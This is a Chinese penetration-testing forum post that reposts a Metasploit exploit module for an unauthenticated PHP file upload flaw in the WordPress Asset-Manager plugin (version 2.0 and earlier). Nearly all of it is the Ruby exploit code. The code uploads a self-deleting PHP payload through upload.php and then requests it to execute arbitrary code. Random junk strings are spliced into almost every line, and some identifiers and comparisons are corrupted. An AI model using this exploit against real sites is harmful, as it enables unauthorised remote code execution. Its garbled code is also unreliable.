中国网络渗透测试联盟

标题: WordPress Asset-Manager PHP文件上传漏洞 [打印本页]

作者: admin    时间: 2012-12-31 09:22
标题: WordPress Asset-Manager PHP文件上传漏洞
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。3 H3 s( x. e1 t( P  D- G

) m1 ?- i& p" h0 x##' M+ E8 J; |9 R9 L
# This file is part of the Metasploit Framework and may be subject to
  U% n* O/ N$ \  \: w# h# redistribution and commercial restrictions. Please see the Metasploit, U3 C4 d0 x/ j3 g; X
# Framework web site for more information on licensing and terms of use.
' L# X) R8 ?% w8 q0 {/ O0 m  J! v3 G#   http://metasploit.com/framework/# `# N. G' A( V) P3 k( A
##1 K( R7 S, _; r/ Y4 H

6 Q$ L' ^5 [: R& l7 K6 L8 g' c( ?require 'msf/core'6 Y- q& K" F  i) |1 w
require 'msf/core/exploit/php_exe'
- d. \$ u, B. O0 y5 `8 E$ I 1 h+ u- K) O2 i3 v
class Metasploit3 < Msf::Exploit::Remote& d9 A$ a* Z: |% \0 r9 v0 U3 w% [
  Rank = ExcellentRanking
2 ~7 U2 k1 p( w" [6 }6 j5 ]" D: p % d* E0 Y5 N5 `6 \. b. S+ b
  include Msf::Exploit::Remote::HttpClient8 T( _! o% {9 x. A6 C; U6 W
  include Msf::Exploit:hpEXE
4 j' p& ]0 ^$ y 2 R; A, H9 Q& U3 j' P  T! L' r
  def initialize(info = {})
6 h" h. L$ b$ c: c# E) B    super(update_info(info,
9 a% L9 C7 u! `3 I7 m" R      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',. T; z3 L- T$ [7 i- j: g0 f8 j' `! R; x
      'Description'    => %q{+ u( {1 N: R+ z- R: |% x4 i
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
7 N; ]/ \; w. o        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
& j  W5 Q' H8 _0 S9 P  ~        temp directory without authentication, which results in arbitrary code execution.
* r+ R: V9 W' ^3 D' G4 h3 R      },1 C3 A  [6 \  E# U! [3 V
      'Author'         =>
1 [: [+ m9 q( }9 |6 F        [
8 L, z& |+ B9 z4 h- C4 I. l          'Sammy FORGIT', # initial discovery0 o& C8 k9 X  v5 v5 M
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module1 n7 _8 m* }  b4 w1 k
        ],: ^. e" |2 |; z! A/ I4 l1 n9 Y
      'License'        => MSF_LICENSE,
0 f8 C4 L# f" F- B      'References'     =>8 _0 n4 G# p+ [
        [
. ?3 Z- Z: Z, y. X- z          [ 'OSVDB', '82653' ],$ c2 W( R! x, y# i$ p/ \
          [ 'BID', '53809' ],
# e% q" B" M2 O          [ 'EDB', '18993' ],
1 {% o/ S+ {8 C0 o7 q          [ 'URL', 'http:// www.myhack58.com /' ]2 h6 p! X) U) w0 O( [) x6 N
        ],
! p6 y, s. n# C+ Y      'Payload'       =>
- x  ]8 l$ p3 t7 L' P! \        {
3 z( D, ^/ l, b; ~          'BadChars' => "\x00",
6 }( A" e& d. T" N2 j        },
" T. |1 x! X9 F$ E      'Platform'       => 'php',# u5 a( z" N! k$ W' n
      'Arch'           => ARCH_PHP,
  I6 n7 h7 I; g      'Targets'        =>& w7 \: ?8 }2 X  B" u- m
        [
0 O) y6 B( {/ N! D5 q! d! N0 ^          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
/ E; d5 D0 x. a% Y  i* H7 e) ~          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
8 t7 q9 H2 N2 X2 |! }* F: a        ],3 e/ W+ j1 m' }$ M9 {
      'DefaultTarget' => 0,1 b2 T7 @! ^  W
      'DisclosureDate' => 'May 26 2012'))
+ F3 ~0 ^2 i! ~: A1 O- o ( @, C! l3 E" ]# }/ z
    register_options(
9 f+ M( p3 Y# G( T      [( q; D- h7 G$ f! o
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
6 Q* R0 F6 @1 K      ], self.class)( m6 e6 R4 y1 Y( b
  end1 }. R- G% Y6 L- H( P; g" }. W
' j$ O8 C& [; H. h
  def exploit% J; y) r4 p: o- M; i; M
    uri =  target_uri.path. Y6 }6 X% S6 m0 o, U" U
    uri << '/' if uri[-1,1] != '/'+ J8 F/ d# ]" R# `/ g( n1 i+ p
    peer = "#{rhost}:#{rport}"0 |% U7 v/ }' J: o4 i0 O2 m
    payload_name = "#{rand_text_alpha(5)}.php"
  v! Y: y7 c1 B; L4 Q+ G0 x    php_payload = get_write_exec_payload(:unlink_self=>true)0 B0 |9 t: `6 Z) Y, ?9 L' W
& u6 d5 O- x, v& c4 A% I8 t7 G1 F( d
    data = Rex::MIME::Message.new
( z& m- m  B/ f2 X7 }    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
$ I3 d$ I- w9 L    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')1 }, B; I0 {  ?3 h, ~

2 L! l! W& H9 n! k3 A% O9 w5 W$ O+ N  d    print_status("#{peer} - Uploading payload #{payload_name}")& K, b: M1 F  K. C  _7 U
    res = send_request_cgi({$ z6 k4 k! s. P' i# V# b4 v
      'method'  => 'POST',
  |/ C5 k5 O  \- |      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
. w7 e2 C. @7 O5 Y      'ctype'   => "multipart/form-data; boundary=#{data.bound}"," w3 Q; T% v. k4 B0 B0 Y# K$ W" `
      'data'    => post_data
% @9 p1 y! z3 h8 e    })7 T. K1 o) {6 T: c2 R
! Q3 z" b( Z( N
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
" `* t" Y/ q7 u* J/ ?5 _& b      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
0 M  \9 d! i# c0 Z& [' W3 ~2 C# Iend
. W1 ?, u/ u. B% m+ m 6 Z; K/ v) {- w9 o1 @
    print_status("#{peer} - Executing payload #{payload_name}")$ v  E  H. E0 ?! A/ Y( N
    res = send_request_raw({& @* R. L% m  ]& F1 p* ]6 X# p' N
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
: I: b1 [7 `6 m- Z      'method'  => 'GET'4 W3 C, x' P( T' C( y( \8 }
    })
, C' l7 T0 C+ u) @+ x1 M
& J4 k7 }  W+ ]( y5 O- h    if res and res.code != 2003 [- j9 O9 l: l" e, N- N
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")' s. [; y6 S# R2 I  D1 C, {
    end6 w. e' Q, E! M% W) v
  end* m! O: e' i' q
end
. d# L* ?( S! D; _3 p  v5 G




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2